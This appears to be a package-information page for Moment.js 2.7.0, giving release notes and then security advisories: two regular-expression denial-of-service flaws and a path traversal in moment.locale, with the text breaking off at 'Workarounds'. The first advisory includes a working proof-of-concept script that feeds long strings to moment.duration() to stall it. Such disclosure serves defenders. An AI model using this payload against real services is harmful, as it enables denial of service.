Version 2.7.0 Details

Moment.js version 2.7.0 arrived in June 2014, building upon the solid foundation established by version 2.6.0 released in April 2014. Both versions serve as robust JavaScript libraries for parsing, manipulating, and displaying dates. Developers rely on Moment.js to simplify complex date-time operations. Changes between the two versions included bug fixes to improve the library's stability and reliability. The core functionality remains consistent with date formatting, parsing, and manipulation features working similarly across both. Dependency updates, reflected in the devDependencies, may have included newer versions of tools like Grunt, Karma, and UglifyJS, ensuring compatibility and potentially benefiting from performance improvements or bug fixes within those tools. While the code changes between these versions might be minor, developers should upgrade to 2.7.0 to benefit from the latest bug fixes and stability improvements. Always consult the official Moment.js changelog for specific details regarding bug fixes and any potentially breaking changes introduced. The author, repository URL, and description remain consistent, indicating a continuous commitment to the project and ease of access for the developer community. The release dates highlight the ongoing development and maintenance of the library.

Security Vulnerabilities

Security Details

Comprehensive list of direct or transitive vulnerabilities for version 2.7.0 of the package moment.

All Security Vulnerabilities

All the vulnerabilities related to the version 2.7.0 of the package

Summary:

Regular Expression Denial of Service in moment

Details:

Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().

Proof of concept

var moment = require('moment');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=20000;i<=10000000;i=i+10000) {
    console.log("COUNT: " + i);
    var str = '-' + genstr(i, '1')
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    moment.duration(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results

$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]

Recommendation

Please update to version 2.11.2 or later.

Details about moment@2.7.0

Summary:

Regular Expression Denial of Service in moment

Details:

Affected versions of moment are vulnerable to a low severity regular expression denial of service when parsing dates as strings.

Recommendation

Details about moment@2.7.0

Summary:

Path Traversal: 'dir/../../filename' in moment.locale

Details:

Impact

This vulnerability impacts npm (server) users of moment.js, especially if user provided locale string, eg fr is directly used to switch moment locale.

Patches

This problem is patched in 2.29.2, and the patch can be applied to all affected versions (from 1.0.1 up until 2.29.1, inclusive).

Workarounds
